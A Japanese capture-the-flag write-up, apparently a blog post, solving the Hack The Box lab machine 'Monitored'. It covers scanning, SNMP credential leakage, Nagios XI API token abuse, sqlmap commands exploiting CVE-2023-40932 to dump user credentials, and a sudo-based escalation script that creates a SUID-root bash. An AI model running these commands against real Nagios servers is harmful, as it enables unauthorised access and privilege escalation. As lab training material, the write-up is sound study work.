目次
偵察/スキャン
nmapでスキャンします。
-p-でスキャンし、確認できたポートに詳細なスキャンを行います。
┌──(kali㉿kali)-[~/htb/monitored] └─$ sudo nmap -sC -sV -A -O -p22,80,389,443,5667 10.10.11.248 Nmap scan report for 10.10.11.248 Host is up (0.17s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA) | 256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA) |_ 256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519) 80/tcp open http Apache httpd 2.4.56 |_http-title: Did not follow redirect to https://nagios.monitored.htb/ |_http-server-header: Apache/2.4.56 (Debian) 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X 443/tcp open ssl/https Apache/2.4.56 (Debian) |_http-server-header: Apache/2.4.56 (Debian) | tls-alpn: |_ http/1.1 |_ssl-date: TLS randomness does not represent time |_http-title: Nagios XI | ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK | Not valid before: 2023-11-11T21:46:55 |_Not valid after: 2297-08-25T21:46:55 5667/tcp open tcpwrapped Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 186.48 ms 10.10.14.1 2 186.83 ms 10.10.11.248 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 31.62 seconds
TCP/443の調査
/etc/hostsにnagios.monitored.htbを追加しブラウザでアクセスすると以下のようなページが表示されます。
NagiosXIのデフォルトアカウントを試しに入力してみましたが、アクセスはできませんでした。
その他、ldap等からは有力な情報を取得できませんでした。
つづけてUDPのスキャンを行います。SNMPが開いていることがわかります。
┌──(kali㉿kali)-[~/htb/monitored] └─$ sudo nmap -sU -p- 10.10.11.248 --open -T4 -Pn --min-rate=1000 Nmap scan report for nagios.monitored.htb (10.10.11.248) Host is up (0.21s latency). Not shown: 65078 open|filtered udp ports (no-response), 455 closed udp ports (port-unreach) PORT STATE SERVICE 123/udp open ntp 161/udp open snmp Nmap done: 1 IP address (1 host up) scanned in 458.98 seconds
SNMPに対して列挙を行います。
snmpbulkwalk -v 2c -c public 10.10.11.248
「svc」アカウントでシェルを実行している情報が確認できます。
上記のアカウントではNagiosXIにログインできませんでした。
Google検索で「"nagios xi" "api" "curl" "authenticate"」と検索すると以下の記事が見つかります。
上記で/nagiosxi/api/v1/authenticate?pretty=1にリクエストする例があります。
実際に実行するとtokenが取得できます。
curl -XPOST -k -L 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5'
ログイン画面で上記で取得したtokenを利用するとsvcでログインができました。
アクセス取得(ユーザフラグ)
ログイン後の画面ではバージョン情報が確認できます。
バージョン情報で検索すると「CVE-2023-40932」の脆弱性情報が確認できます。
「/nagiosxi/admin/banner_message-ajaxhelper.php」へリクエストを送信する際のidパラメータがサニタイズされない脆弱性とのことです。
現在のセッションのCookie情報を確認し以下のコマンドを実行します。
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=*&action=acknowledge_banner_message?id=3" --cookie "nagiosxi=ここは自身のCookie" --batch --dbs
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=*&action=acknowledge_banner_message" --cookie "nagiosxi=ここは自身のCookie" --batch -D nagiosxi --tables
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=*&action=acknowledge_banner_message" --cookie "nagiosxi=ここは自身のCookie" --batch -D nagiosxi -T xi_users --dump
svcに加えて、Nagios AdministratorのパスワードとAPIキーが取得できました。
上記のキーを使用してユーザを作成します。
作成したユーザでNagiosXIにログインができます。
「Configure」ー「Core Config Manager」より、新規のコマンドを作成します。
作成する内容は以下のサイトを参考
「Service Management」より既存のServiceを変更して上記で作成したコマンドを指定して実行します。
nagiosのシェルが取得できます。
権限昇格
「sudo -l」を確認するといくつかのコマンドが実行できることが確認できます。
そのうち「manage_services.sh」では「systemctl」の実行が確認できます。
上記にある「nagios」をみるとバイナリのパスが確認できます。
また現在のユーザ「nagios」の所有であることも確認できます。
nagiosが所有しているバイナリを変更して任意のコマンドを実行させように変更します。
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/iestudy\nchown root:root /tmp/iestudy\nchmod 6777 /tmp/iestudy' > nagios
ここまででrootが取得できました。
その他